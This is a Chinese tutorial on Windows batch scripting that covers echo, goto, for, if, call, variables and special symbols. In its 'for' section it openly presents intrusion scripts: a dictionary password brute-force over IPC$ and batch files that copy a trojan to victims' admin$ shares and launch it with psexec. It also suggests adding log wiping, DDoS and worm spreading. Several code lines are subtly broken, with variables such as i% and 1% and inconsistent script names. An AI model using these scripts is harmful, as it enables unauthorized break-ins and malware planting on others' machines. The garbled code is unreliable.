精华内容
下载资源
问答
  • windows批处理命令教程

    2015-02-28 10:18:29
    windows批处理命令教程
  • windows批处理命令教程.txt
  • Windows批处理命令教程

    2016-03-25 16:19:20
    批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行...

    批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。


    一.简单批处理内部命令简介


    1.Echo 命令
    打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
    语法
    echo [{on|off}]
    echo [message]
    Sample:@echo off / echo hello world
    注意上面是两条语句,如果当作一条语句写在一行, 则@echo后面都作为回显文本,而不是关掉回显,然后再输出hello world
    echo off 通过命令行输入则命令行的prompt消失,只有一个闪烁的光标但更常用的是用在批处理文件中:DOS在运行批处理时, 
    会依次执行批处理中的每条命令, 并且会在显示器上显示每条命令, 如果你不想让它们显示, 可以加一个“echo off”

    比如:
    echo off
    del *.txt
    pause

    就会不显示del *.txt,但是如果遇到了错误(比如目录下没有txt文件)或命令本身有输出(如ipconfig命令),那还是会有输出的。

    当然,“echo off”也是命令, 它本身也会显示(因为执行这一条时,状态还是要回显的), 如果连这条也不显示, 就在前面加个“@”。

    在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。


    2.@指令
    @符号在批处理中的作用是关闭当前行命令的回显,echo off的作用就相当于在每条命令前面加一个@符号,这样所有的命令将只会显示结果不显示命令.

    Sample:
    @echo off
    @echo Now initializing the program,please wait a minite...
    @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)


    3.Goto 命令
    指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
    语法:goto label (label是参数,指定所要转向的批处理程序中的行。) 
    Sample:
    if {%1}=={} goto noparms
    if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
    @Rem check parameters if null show usage
    :noparms
    echo Usage: monitor.bat ServerIP PortNumber
    goto end
    标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。


    4.Rem 命令
    注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
    Rem Message
    Sample:@Rem Here is the description.


    5.Pause 命令
    pause命令就是暂停的意思,防止批处理执行完后直接退出!执行pause命令后会自动在CMD里显示"请按任意键继续. . ."这样一行话!
    Sample:
    @echo off 
    :begin 
    copy a:*.* d:\back
    echo Please put a new disk into driver A 
    pause 
    goto begin 
    在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。


    6.Call 命令
    从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。
    语法
    call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
    参数
    [Drive:}[Path] FileName 
    指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。


    7.start 命令
    调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用(比Call适用范围广,Call只能调用批处理文件)。

    START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE | /SHARED]
          [/LOW | /NORMAL | /HIGH | /REALTIME | /ABOVENORMAL | /BELOWNORMAL]
          [/WAIT] [/B] [command/program]
          [parameters]

    入侵常用参数:
    MIN 开始时窗口最小化
    SEPARATE 在分开的空间内开始 16 位 Windows 程序
    HIGH 在 HIGH 优先级类别开始应用程序
    REALTIME 在 REALTIME 优先级类别开始应用程序
    WAIT 启动应用程序并等候它结束
    parameters 这些为传送到命令/程序的参数
    command/program:  
        如果是内部 cmd 命令或批文件,那么该命令处理器是用 /K 命令行开关运行 cmd.exe 的。这表示该窗口在命令运行后仍然存在。
        如果不是内部 cmd 命令或批文件,则是一个程序,并作为窗口应用程序或控制台应用程序运行。
    执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。


    8.choice 命令

    choice 使用此命令可以让用户输入一个字符(用于选择),从而根据用户的选择返回不同的errorlevel,然后于if errorlevel配合,根据用户的选择运行不同的命令。
    注意:choice命令为DOS或者windows系统提供的外部命令,不同版本的choice命令语法会稍有不同,请用choice /?查看用法。
    windows Xp 没有这个命令, 替换方法:可以用set /p var= 来建立一个环境变量,然后根据输入值来分支执行

    choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
    如: choice /c:dme defrag,mem,end
    将显示
    defrag,mem,end[D,M,E]?
    Sample:
    Sample.bat的内容如下: 
    @echo off 
    choice /C dme /M "defrag,mem,end" 
    if errorlevel 3 goto end 
    if errorlevel 2 goto mem 
    if errorlevel 1 goto defrag

    :defrag 
    c:\dos\defrag 
    goto end

    :mem 
    mem 
    goto end

    :end 
    echo good bye

    此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。


    9.If 命令

    if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式: 
    1、if "参数" == "字符串"  待执行的命令 
    参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
    如if "%1"=="a" format a: 
    if {%1}=={} goto noparms
    if {%2}=={} goto noparms

    2、if exist 文件名  待执行的命令 
    如果有指定的文件,则条件成立,运行命令,否则运行下一句。
    如if exist config.sys edit config.sys

    3、if errorlevel / if not errorlevel 数字  待执行的命令 
    如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
    如if errorlevel 2 goto x2  
    DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。(就是上面choice的用法)


    10.for 命令
    for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

    for {%variable|%%variable} in (set) do command [ CommandLineOptions]
    %variable 指定一个单一字母可替换的参数。
    (set) 指定一个或一组文件。可以使用通配符。
    command 指定对每个文件执行的命令。
    command-parameters 为特定命令指定参数或命令行开关。
    在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
    而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I如果命令扩展名被启用,下列额外的 FOR 命令格式会受到支持:

    FOR /D %variable IN (set) DO command [command-parameters]

    如果集中包含通配符,则指定与目录名匹配,而不与文件名匹配。

    FOR /R [[drive:]path] %variable IN (set) DO command [command-

    检查以 [drive:]path 为根的目录树,指向每个目录中的FOR 语句。如果在 /R 后没有指定目录,则使用当前目录。如果集仅为一个单点(.)字符,则枚举该目录树。

    FOR /L %variable IN (start,step,end) DO command [command-para

    该集表示以增量形式从开始到结束的一个数字序列。
    因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
    序列 (5 4 3 2 1)。

    FOR /F ["options"] %variable IN (file-set) DO command 
    FOR /F ["options"] %variable IN ("string") DO command 
    FOR /F ["options"] %variable IN (command) DO command

    或者,如果有 usebackq 选项:

    FOR /F ["options"] %variable IN (file-set) DO command 
    FOR /F ["options"] %variable IN ("string") DO command 
    FOR /F ["options"] %variable IN (command) DO command

    filenameset 为一个或多个文件名。继续到 filenameset 中的下一个文件之前,每份文件都已被打开、读取并经过处理。处理包括读取文件,将其分成一行行的文字,然后将每行解析成零或更多的符号。然后用已找到的符号字符串变量值调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开的第一个空白符号。跳过空白行。您可通过指定可选 "options"参数替代默认解析*作。这个带引号的字符串包括一个或多个指定不同解析选项的关键字。这些关键字为:

    eol=c - 指一个行注释字符的结尾(就一个)
    skip=n - 指在文件开始时忽略的行数。
    delims=xxx - 指分隔符集。这个替换了空格和跳格键的
    默认分隔符集。
    tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代的 for 本身。这会导致额外变量名称的格式为一个范围。通过 nth 符号指定 m
    符号字符串中的最后一个字符星号,那么额外的变量将在最后一个符号解析之分配并接受行的保留文本。

    usebackq - 指定新语法已在下类情况中使用:在作为命令执行一个后引号的字符串并且引号字符为文字字符串命令并允许在 fi中使用双引号扩起文件名称。

    sample1:
    FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

    会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或空格定界符号。请注意,这个 for 程序体的语句引用 %i 来取得第二个符号,引用 %j 来取得第三个符号,引用 %k来取得第三个符号后的所有剩余符号。对于带有空格的文件名,您需要用双引号将文件名括起来。为了用这种方式来使用双引号,您还需要使用 usebackq 选项,否则,双引号会
    被理解成是用作定义某个要分析的字符串的。%i 专门在 for 语句中得到说明,%j 和 %k 是通过tokens= 选项专门得到说明的。您可以通过 tokens= 一行指定最多 26 个符号,只要不试图说明一个高于字母 z 或Z 的变量。请记住,FOR 变量是单一字母、分大小写和全局的;

    同时不能有 52 个以上都在使用中。

    您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是,用单引号将括号之间的 filenameset 括起来。这样,该字符串会被当作一个文件中的一个单一输入行。

    最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将括号之间的 filenameset 变成一个反括字符串。该字符串会被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进内存,并被当作文件分析。因此,以下例子:

    FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i

    会枚举当前环境中的环境变量名称。

    另外,FOR 变量参照的替换已被增强。您现在可以使用下列
    选项语法:

    ~I - 删除任何引号("),扩充 %I
    %~fI - 将 %I 扩充到一个完全合格的路径名
    %~dI - 仅将 %I 扩充到一个驱动器号
    %~pI - 仅将 %I 扩充到一个路径
    %~nI - 仅将 %I 扩充到一个文件名
    %~xI - 仅将 %I 扩充到一个文件扩展名
    %~sI - 扩充的路径只含有短名
    %~aI - 将 %I 扩充到文件的文件属性
    %~tI - 将 %I 扩充到文件的日期/时间
    %~zI - 将 %I 扩充到文件的大小
    %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充
    到找到的第一个完全合格的名称。如果环境变量
    未被定义,或者没有找到文件,此组合键会扩充
    空字符串

    可以组合修饰符来得到多重结果:

    %~dpI - 仅将 %I 扩充到一个驱动器号和路径
    %~nxI - 仅将 %I 扩充到一个文件名和扩展名
    %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名
    %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充
    到找到的第一个驱动器号和路径。
    %~ftzaI - 将 %I 扩充到类似输出线路的 DIR

    在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名比较易读,而且避免与不分大小写的组合键混淆。

    以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。

    sample2:

    利用For命令来实现对一台目标Win2k主机的暴力密码破解。
    我们用net use \\ip\ipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。
    最主要的命令是一条:for /f i% in (dict.txt) do net use \\ip\ipc$ "i%" /u:"administrator"
    用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令--
    for /f i%% in (dict.txt) do net use \\ip\ipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:\ok.txt ,这样就ko了。

    sample3:

    你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。

    主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable)
    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
    tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。
    而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。
    delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。
    代码雏形:
    --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
    @echo off
    @if "%1"=="" goto usage
    @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
    @goto end
    :usage
    @echo run this batch in dos modle.or just double-click it.
    :end
    --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------


    ------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
    @net use \\%1\ipc$ %3 /u:"%2"
    @if errorlevel 1 goto failed
    @echo Trying to establish the IPC$ connection …………OK
    @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
    @psexec \\%1 c:\winnt\system32\windrv32.exe
    @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
    :failed
    @echo Sorry can not connected to the victim.
    ----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
    这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容
    尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.


    No.2 
    二.如何在批处理文件中使用参数
    批处理中可以使用参数(批参数,跟在命令后面的),一般从%1到 %9这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
    sample1:fomat.bat
    @echo off
    if "%1"=="a" format a: 
    :format
    @format a:/q/u/auotset
    @echo please insert another disk to driver A.
    @pause
    @goto fomat
    这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
    sample2:
    当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
    @echo off
    @net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
    @if errorlevel 1 echo connection failed
    怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.


    No.3

    三.如何使用组合命令(Compound Command)

    1.& (and)

    Usage:第一条命令 & 第二条命令 [& 第三条命令...]

    用这种方法可以同时执行多条命令,而不管命令是否执行成功

    Sample:
    C:\>dir z: & dir c:\Ex4rch
    The system cannot find the path specified.
    Volume in drive C has no label.
    Volume Serial Number is 0078-59FB

    Directory of c:\Ex4rch

    2002-05-14 23:51 
    .
    2002-05-14 23:51 
    ..
    2002-05-14 23:51 14 sometips.gif

    2.&&  (short circuit and)

    Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

    用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

    Sample:
    C:\>dir z: && dir c:\Ex4rch
    The system cannot find the path specified.

    C:\>dir c:\Ex4rch && dir z:
    Volume in drive C has no label.
    Volume Serial Number is 0078-59FB

    Directory of c:\Ex4rch

    2002-05-14 23:55 
    .
    2002-05-14 23:55 
    ..
    2002-05-14 23:55 14 sometips.gif
    1 File(s) 14 bytes
    2 Dir(s) 768,671,744 bytes free
    The system cannot find the path specified.

    在做备份的时候可能会用到这种命令会比较简单,如:
    dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\backup
    如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

    3.||  (or)

    Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

    用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

    Sample:
    C:\Ex4rch>dir sometips.gif || del sometips.gif
    Volume in drive C has no label.
    Volume Serial Number is 0078-59FB

    Directory of C:\Ex4rch

    2002-05-14 23:55 14 sometips.gif
    1 File(s) 14 bytes
    0 Dir(s) 768,696,320 bytes free

    组合命令使用的例子:
    sample:
    @copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt


    三。使用环境变量

    下面的脚本建立一个环境变量choice,然后根据输入的文本值来进行分支,执行相应操作
    echo ============================== 
    echo 请选择要进行的操作,然后按回车 
    echo ============================== 
    echo. 
    echo 1.优化系统服务 
    echo. 
    echo 2.进行端口操作 
    echo. 
    echo 3.设置IP为192.168.1.2 
    echo. 
    echo (局域网上网者慎用此功能) 
    echo. 
    echo 4.其它优化 
    echo. 
    echo 5.设置OEM信息 
    echo. 
    echo 6.清除根目录下的SXS病毒 
    echo. 
    echo 7.清理系统垃圾 
    echo. 
    echo 8.退出 
    echo.

    :cho 
    set choice= 
    set /p choice= 请选择: 
    IF NOT "%Choice%"=="" SET Choice=%Choice:~0,1% 
    if /i "%choice%"=="1" goto start2 
    if /i "%choice%"=="2" goto start3 
    if /i "%choice%"=="3" goto ip 
    if /i "%choice%"=="4" goto other 
    if /i "%choice%"=="5" goto oem 
    if /i "%choice%"=="6" goto virus 
    if /i "%choice%"=="7" goto del 
    if /i "%choice%"=="8" goto end 
    echo 选择无效,请重新输入 
    echo. 
    goto cho

    :start2 
    cls 
    ...

    注意: set choice=%choice:~0,1% 是截取第一个字符


    1.字符串截取

    语法:%var:~x,y% (x,y∈Z)
    说明:当x为正数时表示从左到右第x+1位开始截取,当x为负数时表示从右到左第x位开始截取(右一位是-1),当省略x时采用默认值0;当y为正数时表示截取的长度,当y为负数时表示截取到从右到左的第y+1位,当省略y时采用默认值-1。


    2.字符串替换

    语法:%var:str1=str2%
    说明:将字符串var中所有的str1替换为str2。 (只是引用这个表达式的地方改变了, 环境变量并没有改变,相当于ref by value)

    如:
    @echo off

    set "url=www.mzwu.com"

    echo 1.字符串截取
    echo %url:~4,4%
    echo %url:~4,-4%
    echo %url:~-8,4%
    echo %url:~-8,-4%
    echo %url:~,4%
    echo %url:~,-4%
    echo %url:~4%
    echo %url:~-8%

    echo.
    echo 2.字符串替换,将mzwu替换为163
    echo %url:mzwu=163%
    echo %url%               Rem 上面的替换没有改变url的值

    pause>nul

    输出为:
    1.字符串截取
    mzwu
    mzwu
    mzwu
    mzwu
    www.
    www.mzwu
    mzwu.com
    mzwu.com

    2.字符串替换,将mzwu替换为163
    www.163.com
    www.mzwu.com 
       
    在批处理执行时不显示输出和错误信息(重定向到nul)copy 1.txt d:\ >nul
    命令后面加上>nul

    >nul 不显示命令执行结果信息
    2>nul 不显示命令执行失败信息
    >nul 2>nul 就啥都不显示了 

    Echo命令详解一、ECHO命令是DOS批处理命令的一条子命令:
    1. 作为控制批处理命令在执行时是否显示命令行自身的开关 
        格式:ECHO [ON|OFF] 
    2. 显示当前ECHO设置状态 
        格式:ECHO 
    3. 输出提示信息
        格式:ECHO信息内容 
    4. 关闭DOS命令提示符 
        在DOS提示符状态下键入ECHO OFF,能够关闭DOS提示符的显示使屏幕只留下光标,直至键入ECHO ON,提示符才会重新出现。
    5. 输出空行,即相当于输入一个回车 
    格式:ECHO. 
        值得注意的是命令行中的“.”要紧跟在ECHO后面中间不能有空格,否则“.”将被当作提示信息输出到屏幕。另外“.”可以用,:;”/[\]+等任一符号替代。

        在下面的例子中ECHO.输出的回车,经DOS管道转向作为TIME命令的输入,即相当于在TIME命令执行后给出一个回车。所以执行时系统会在显示当前时间后,自动返回到DOS提示符状态:C:>ECHO.|TIME 
        ECHO命令输出空行的另一个应用实例是:将ECHO.加在自动批处理文件中,使原本在屏幕下方显示的提示画面,出现在屏幕上方。

    6. 答复命令中的提问 
        格式:ECHO答复语|命令文件名 
        上述格式可以用于简化一些需要人机对话的命令(如:CHKDSK/F;FORMAT Drive:;del *.*)的操作,它是通过DOS管道命令把ECHO命令输出的预置答复语作为人机对话命令的输入。下面的例子就相当于在调用的命令出现人机对话时输入“Y”回车: C:>ECHO Y|CHKDSK/F 
    C:>ECHO Y|DEL A :*.* 
    7. 建立新文件或增加文件内容 
        格式:ECHO 文件内容>文件名 
        ECHO 文件内容>>文件名 
    例如:C:>ECHO @ECHO OFF>AUTOEXEC.BAT建立自动批处理文件 
    C:>ECHO C:\CPAV\BOOTSAFE>>AUTOEXEC.BAT向自动批处理文件中追加内容 
    C:TYPE AUTOEXEC.BAT显示该自动批处理文件 
    @ECHO OFF 
    C:\CPAV\BOOTSAFE 
    8. 向打印机输出打印内容或打印控制码 
        格式:ECHO 打印机控制码>PRN 
        ECHO 打印内容>PRN

    二、@的用法:如果想关闭“ECHO OFF”命令行自身的显示,则需要在该命令行前加上“@”,即@ECHO OFF 

     
    批处理中的特殊符号特殊符号:

    1.  @
    2.  >
    3.  >>
    4.  |
    5.  ^
    6.  &
    7.  &&
    8.  ""
    9.  ,
    10. ;


    废话少说,开讲了

    一、 @

    这个字符在批处理中的意思是关闭当前行的回显。我们从前几课知道
    ECHO OFF可以关闭掉整个批处理命令的回显,但不能关掉ECHO OFF这个命令,现在我们在ECHO OFF这个命令前加个@,就可以达到所有命令均不回显的要求

    二、 >

    这个字符的意思是传递并且覆盖,他所起的作用是将运行的回显结果传递到后面的范围(后边可以是文件,也可以是默认的系统控制台)

    比如:

    文件1.txt 的文件内容是:

    1+1

    使用命令:dir *.txt >1.txt

    这时候1.txt 内容如下

    驱动器 C 中的卷没有标签。
    卷的序列号是 3827-1BDD

    C:\ 的目录

    2004-05-25  00:57        17,755,907 Log.txt
    2004-05-26  15:21                 3 1.txt
    2004-05-26  15:21                 0 2.txt
                   3 个文件     17,755,910 字节
                   0 个目录    339,111,936 可用字节


    三、>>

    这个符号的作用和>有点类似,但他们的区别是>>是传递并在文件的末尾追加,而>是覆盖

    用法同上

    同样拿1.txt做例子

    内容是1+1

    使用命令:dir *.txt >>1.txt

    咱们来看看显示的结果如何


    四、|

    这是一个管道传输命令,意思是将上一命令执行的结果传到下一个命令去处理

    例如:

    dir c:\|find "txt"

    以上命令是:查找C:\所有,并发现TXT字符串。
    FIND的功能请用 FIND /? 自行查看

    在不使format的自动格式化参数时,我是这样来自动格式化A盘的

    echo y|format a: /s /q /v:system

    用过format的都知道,再格盘时要输入y来确认是否格盘,这个命令前加上echo y并用|字符来将echo y的结果传给format命令

    从而达到自动输入y的目的

    (这条命令有危害性,测试时请慎重)


    五、^

    ^是对特殊符号"<",">","&"的前导字符,在命令中他将以上3个符号的特殊功能去掉,仅仅只把他们当成符号而不使用他们的特殊意义。

    比如

    echo test ^>1.txt

    结果则是


    他没有追加在1.txt里,呵呵。只是显示了出来


    六、 &

    这个符号允许在一行中使用2个以上不同的命令,当第一个命令执行失败了,也不影响后边的命令执行。

    比如:

    dir z:\ & dir y:\ & dir c:\

    以上命令会连续显示z,y,c盘的内容,不理会该盘是否存在


    七、 &&

    这个命令和上边的类似,但区别是,第一个命令失败时,后边的命令也不会执行


    dir z:\ && dir y:\ && dir c:\


    八、""

    双引号允许在字符串中包含空格,进入一个特殊目录可以用如下方法

    cd "program files"
    cd progra~1
    cd pro*

    以上三种方法都可以进入program files这个目录


    九、,

    逗号相当于空格,在某些情况下“,”可以用来当做空格使

    比如

    dir,c:\


    十、;

    分号,当命令相同时,可以将不同目标用;来隔离,但执行效果不变,如执行过程中发生错误,则只返回错误报告,但程序还是会执行。

    比如:

    dir c:\;d:\e:\;f:\

    以上命令相当于

    dir c:\
    dir d:\
    dir e:\
    dir f:\

     
    call和goto的异同@echo off

    echo 早上好!
    goto :noon
    echo 该睡觉了!&pause>nul

    :noon
        echo 中午好!
    :night
        echo 晚上好!

    pause>nul

    结果为:

    早上好!
    中午好!
    晚上好!
    [按任意键退出]


    @echo off

    echo 早上好!
    call :noon
    echo 该睡觉了!&pause>nul

    :noon
        echo 中午好!
    :night
        echo 晚上好!

    pause>nul

    结果为:

    早上好!
    中午好!
    晚上好!
    [按任意键]
    该睡觉了!
    [按任意键]
    中午好!
    晚上好!
    [按任意键退出]

    从上边两个例子我们已经可以很明白的看出call和goto的异同点了:

    相同点:call和goto都可以将流程跳转到标签处。
    不同点:goto将流程跳转到标签处后,程序从标签处开始执行到结束,整个流程执行完毕;call将流程跳转到标签处后,程序从标签处开始执行到结束[1],然后会跳转回执行call的下一条语句,直到整个流程执行完毕;所以call并不会像goto那样打乱了流程,它只是中断了当前流程,但仍保证整个流程按原顺序进行。

    [1]在第二个例子中我们可以在标签后适当的地方调用goto :eof,使流程提前结束,提前将流程转移call的下一条语句:


    复制内容到剪贴板 程序代码
    @echo off

    echo 早上好!
    call :noon
    echo 该睡觉了!&@pause>nul

    :noon
        echo 中午好!
    goto :eof
    :night
        echo 晚上好!
    goto :eof

    pause>nul

    执行结果已和例二有所不同,先显示:


     引用内容
    早上好!
    中午好!
    该睡觉了!

    按任意键后接着显示"中午好!",到goto :eof后退出!

    很显然,如果在例一中加入goto :eof则只是提前结束了流程。 

    展开全文
  • 这些命令统称批处理命令。小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。了解了大概意思后,我们正式开始学习。先看一个简单的例子! @echo off echo "欢迎来到非常BAT!" pause ...

    第一章 批处理基础

    第一节 常用批处理内部命令简介

    批处理定义:顾名思义,批处理文件是将一系列命令按一定的顺序集合为一个可执行的文本文件,其扩展名为BAT或者CMD。这些命令统称批处理命令。
    小知识:可以在键盘上按下Ctrl+C组合键来强行终止一个批处理的执行过程。
    了解了大概意思后,我们正式开始学习。先看一个简单的例子!

    @echo off
    echo "欢迎来到非常BAT!"
    pause

    把上面的3条命令保存为文件 test.bat 或者 test.cmd 然后执行,他就会在屏幕上显示以下二行话:

    欢迎来到非常BAT!
    请按任意键继续. . .

    这就是一个简单批处理文件了,这个批处理文件一共就用了2条命令 "echo" 和"pause" 还有一个特殊符号"@"。从上面这个简单的批处理中,我们可以发现其实批处理就是运用一些含有特殊意义的符号,和一些完成指定功能的命令组合而成。那么在批处理中有多少这样的特殊符号和功能命令呢?我们现在就来仔细了解一下一些最常用的!


    以下内容来源网络,请各位仔细阅读,好进入下节的实例说明。

    批处理的常见命令(未列举的命令还比较多,请查阅帮助信息)

    1、REM 和 ::
    2、ECHO 和 @
    3、PAUSE
    4、ERRORLEVEL
    5、TITLE
    6、COLOR
    7、mode 配置系统设备
    8、GOTO 和 :
    9、FIND
    10、START
    11、assoc 和 ftype
    12、pushd 和 popd
    13、CALL
    14、shift
    15、IF
    16、setlocal 与 变量延迟
    17、ATTRIB  显示或更改文件属性


    介绍命令

    1、REM 和 ::

    REM为注释命令,一般用来给程序加上注解,该命令后的内容不被执行,但能回显。
    其次, :: 也可以起到rem 的注释作用,而且更简洁有效; 但有两点需要注意:
    第一, 任何以冒号:开头的字符行,在批处理中都被视作标号,而直接忽略其后的所有内容。
    有效标号:冒号后紧跟一个以字母数字开头的字符串,goto语句可以识别。
    无效标号:冒号后紧跟一个非字母数字的一个特殊符号,goto无法识别的标号,可以起到注释作用,所以 :: 常被用作注释符号,其实 :+ 也可起注释作用。
    第二, 与rem 不同的是, ::后的字符行在执行时不会回显,无论是否用echo on打开命令行回显状态,因为命令解释器不认为他是一个有效的命令行,就此点来看,rem 在某些场合下将比 :: 更为适用;另外,rem 可以用于 config.sys 文件中。
    行内注释格式:%注释内容%  (不常用,慎用)

    2、ECHO 和 @
    @字符放在命令前将关闭该命令回显,无论此时echo是否为打开状态。
    echo命令的作用列举如下:
    (1)打开回显或关闭回显功能
        格式:echo [{ on|off }]
        如果想关闭“ECHO OFF”命令行自身的显示,则需要在该命令行前加上“@”。
    (2)显示当前ECHO设置状态
        格式:echo
    (3)输出提示信息 
        格式:ECHO 信息内容
        上述是ECHO命令常见的三种用法,也是大家熟悉和会用的,但作为DOS命令淘金者你还应该知道下面的技巧:
    (4)关闭DOS命令提示符 
        在DOS提示符状态下键入ECHO OFF,能够关闭DOS提示符的显示使屏幕只留下光标,直至键入ECHO ON,提示符才会重新出现。
    (5)输出空行,即相当于输入一个回车 
        格式:ECHO.
        值得注意的是命令行中的“.”要紧跟在ECHO后面中间不能有空格,否则“.”将被当作提示信息输出到屏幕。另外“.”可以用,:;”/[\]+等任一符号替代。
        命令ECHO.输出的回车,经DOS管道转向可以作为其它命令的输入,比如echo.|time即相当于在TIME命令执行后给出一个回车。所以执行时系统会在显示当前时间后,自动返回到DOS提示符状态
    (6)答复命令中的提问 
        格式:ECHO 答复语|命令文件名
